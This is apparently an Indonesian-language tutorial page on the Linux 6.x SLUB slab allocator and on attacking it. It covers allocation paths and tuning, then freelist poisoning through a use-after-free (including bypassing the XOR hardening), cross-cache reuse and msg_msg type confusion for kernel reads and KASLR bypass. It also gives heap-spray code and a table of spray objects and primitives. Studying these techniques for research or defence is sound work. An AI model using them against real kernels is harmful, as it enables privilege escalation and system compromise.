Linux kernel 6.x menggunakan SLUB sebagai default slab allocator. Setiap kmem_cache merepresentasikan pool objek untuk ukuran atau tipe tertentu. Alokasi mengalir melalui tiga tier untuk meminimalkan locking.
Lock-free. Setiap CPU punya kmem_cache_cpu dengan freelist lokal. Alokasi ~10ns. Tidak butuh lock sama sekali selama freelist tidak kosong.
Slab dengan campuran slot allocated + free. Ada versi per-CPU (no lock) dan per-node (butuh list_lock). Diisi ulang ke per-CPU freelist saat habis.
Jika semua partial habis, SLUB minta page baru dari buddy allocator via alloc_pages(). Page baru dijadikan slab baru untuk cache tersebut.
Ini adalah hot path. Hampir semua alokasi kernel selesai di sini tanpa menyentuh lock apapun. Kunci implementasinya adalah TID (transaction ID) sebagai lockless synchronization.
// Setiap CPU baca freelist-nya sendiri (RCU-protected read)
void *kmem_cache_alloc(struct kmem_cache *s, gfp_t gfpflags)
{
// === FAST PATH ===
void *object = this_cpu_read(s->cpu_slab->freelist);
ulong tid = this_cpu_read(s->cpu_slab->tid);
if (likely(object)) {
// Pop object dari freelist (freepointer ada di dalam object)
void *next = get_freepointer_safe(s, object);
// cmpxchg: atomic update freelist + tid sekaligus
if (unlikely(!this_cpu_cmpxchg_double(
s->cpu_slab->freelist, s->cpu_slab->tid,
object, tid,
next, next_tid(tid)))) // gagal jika ada race
goto redo;
return object; // ≈10-15ns, NO LOCK
}
// === SLOW PATH: __slab_alloc() ===
// 1. Coba refill dari per-CPU partial (masih no lock)
// 2. Coba ambil dari node->partial (butuh node->list_lock)
// 3. Alokasi slab baru: new_slab() → alloc_pages(GFP_*)
return __slab_alloc(s, gfpflags, addr);
}
Sejak kernel 5.17, struct page untuk slab sudah di-refactor menjadi struct slab tersendiri. Field frozen dan inuse sangat penting untuk memahami lifecycle slab.
# Seberapa banyak objek di cpu_partial sebelum drain ke node
cat /sys/kernel/slab/kmalloc-64/cpu_partial # default: 13
# Minimum slab di node partial sebelum free ke buddy
cat /sys/kernel/slab/kmalloc-64/min_partial # default: 5
# Jumlah objek per slab
cat /sys/kernel/slab/kmalloc-64/objs_per_slab
# Lihat semua cache aktif:
cat /proc/slabinfo | grep "^kmalloc"
Freepointer disimpan di dalam objek yang sedang free — di offset s->offset. Di kernel 6.x dengan CONFIG_SLAB_FREELIST_HARDENED, pointer di-encode dengan XOR untuk mempersulit poisoning.
// Objek sudah di-free, pointer kita masih valid (UAF)
struct vuln_obj *uaf = get_stale_ptr();
// Offset 0 dari objek = freepointer (jika s->offset == 0)
*(ulong *)uaf = target_addr; // poison freelist!
// Alokasi 1: mengembalikan uaf (normal)
void *a = kmem_cache_alloc(cache, GFP_KERNEL);
// Alokasi 2: mengembalikan target_addr ← ARBITRARY ALLOC!
void *b = kmem_cache_alloc(cache, GFP_KERNEL); // = target_addr
// include/linux/slub_def.h
static inline void *get_freepointer(struct kmem_cache *s, void *object)
{
return freelist_ptr_decode(s,
*(void **)(object + s->offset),
(ulong)object + s->offset);
}
static inline void *freelist_ptr_decode(struct kmem_cache *s, void *ptr, ulong ptr_addr)
{
// Encoded = ptr XOR s->random XOR ptr_addr
return (void *)((ulong)ptr ^ s->random ^ ptr_addr);
}
// Untuk poison freelist dengan hardening — harus encode dulu:
ulong encoded = target_addr ^ s->random ^ ((ulong)uaf + s->offset);
*(ulong *)((char*)uaf + s->offset) = encoded;
s->random terlebih dahulu. Bisa didapat dari: (1) arbitrary read yang sudah ada sebelumnya, (2) heap spray yang expose partial freelist dari slab lain, (3) kernel info leak dari /proc/kallsyms + pointer arithmetic jika KASLR bypass sudah ada.
CONFIG_SLAB_FREELIST_RANDOM — urutan objek dalam slab baru di-randomize. Ini mempersulit prediksi slot mana yang akan di-alokasikan berikutnya, tapi spray massal (ratusan alokasi) masih bisa overcome ini secara statistik.
Cross-cache memanfaatkan satu fakta fundamental: ketika slab kosong, page fisiknya dikembalikan ke buddy allocator dan bisa di-claim oleh cache yang sama sekali berbeda. Stale pointer ke objek lama akan menunjuk ke objek tipe berbeda.
Alokasikan banyak objek di cache target (contoh: via sendmsg, setsockopt, atau syscall lain). Tujuan: isi beberapa slab agar kita punya kontrol atas layout memori.
Free sebagian besar objek. Pertahankan pointer ke objek target (slot 7). Objek sudah di-free secara internal (masuk freelist), tapi kita masih bisa baca/tulis via stale pointer.
Free objek UAF terakhir (slot 7). Sekarang inuse=0. SLUB memanggil discard_slab() → __free_pages(). Page fisik dikembalikan ke buddy allocator.
// mm/slub.c
static void discard_slab(struct kmem_cache *s, struct slab *slab)
{
dec_slabs_node(s, slab_nid(slab), slab->objects);
free_slab(s, slab); // → __free_pages()
}
Alokasikan banyak objek dari cache B (ukuran kompatibel). Buddy allocator sangat mungkin memberikan page yang sama ke slab baru cache B. Objek cache B menempati slot yang persis sama dengan objek cache A sebelumnya.
struct msg_msg — type confusion berhasil!Dengan menulis ke slot via UAF stale pointer, kita corrupt field msg_msg.next atau msg_msg.m_ts. Lalu msgrcv() akan baca memori dari address yang kita tentukan.
// Tulis ke slot via UAF stale pointer
struct fake_msg {
char pad[0x18]; // skip m_list + m_type
size_t m_ts = 0x1000; // baca 4KB dari next
void *next = target_kaddr; // ← kernel address target
};
memcpy(stale_ptr, &fake_msg, sizeof(fake_msg)); // UAF write
// Read: kernel akan copy dari target_kaddr ke userspace!
char leak[0x1000];
msgrcv(msqid, leak, 0x1000, 0, IPC_NOWAIT|MSG_NOERROR|MSG_COPY);
// leak[] sekarang berisi konten dari target_kaddr → KASLR bypass!
Pilihan objek spray yang tepat menentukan primitif apa yang bisa dicapai. Tabel di bawah adalah referensi untuk kernel 6.x berdasarkan cache yang digunakan dan primitif yang bisa dieksploitasi.
| Struct | Cache / Ukuran | Syscall | Primitif | Relevansi |
|---|---|---|---|---|
| msg_msg | kmalloc-{64..4k} | msgsnd / msgrcv | Arb read (next ptr), arb write | CVE-2021-22555, ksmbd |
| pipe_buffer | kmalloc-64 | pipe() | RIP control via ops ptr | Dirty Pipe family |
| sk_buff | kmalloc-{256,512} | setsockopt, sendmsg | Arb write via skb data | Ukuran adjustable |
| user_key_payload | kmalloc-{32..16k} | add_key() | Heap shaping, hole punching | Size sangat fleksibel |
| setxattr buf | kmalloc-* (1-65535) | setxattr() | Spray / defragment | Ukuran bebas |
| timerfd_ctx | kmalloc-256 | timerfd_create() | Func ptr (wqh.func) | RIP via callback |
| seq_operations | kmalloc-32 | open(/proc/...) | RIP control (start ptr) | CVE-2021-41073 |
| file (struct) | filp cache | open() | f_op func ptr | Dedicated cache |
// 1. Buat banyak message queue
int msqids[NUM_QUEUES];
for (int i = 0; i < NUM_QUEUES; i++)
msqids[i] = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
// 2. Spray msg_msg ke kmalloc-64 (size = 64 - sizeof(msg_msg_hdr))
char payload[16] = {0}; // 16 bytes data → total msg = 48+16 = 64
for (int i = 0; i < NUM_QUEUES; i++)
msgsnd(msqids[i], &payload, sizeof(payload), 0);
// 3. Hole punching — free setiap-dua untuk buat fragment
for (int i = 0; i < NUM_QUEUES; i += 2)
msgctl(msqids[i], IPC_RMID, NULL); // buat hole
// 4. Trigger alokasi cache A di hole yang terbentuk
// → page yang sama sekarang shared antara msg_msg dan vuln_obj
ksmbd_work, response buffer (kmalloc-512/kmalloc-1024), session struct. UAF di SMB2 path → cross-cache ke msg_msg. Tidak butuh privilege — bisa trigger dari network.
fuse_req dari kmalloc-256. Accessible tanpa CAP_SYS_ADMIN via user namespace. UAF di passthrough path bisa cross-cache ke timerfd_ctx atau sk_buff.
s->random dan address objek. Mencegah freelist poisoning tanpa mengetahui secret.Simulasi interaktif alokasi / free / spray pada slab. Klik tombol untuk melihat bagaimana state slab berubah dan bagaimana cross-cache terjadi.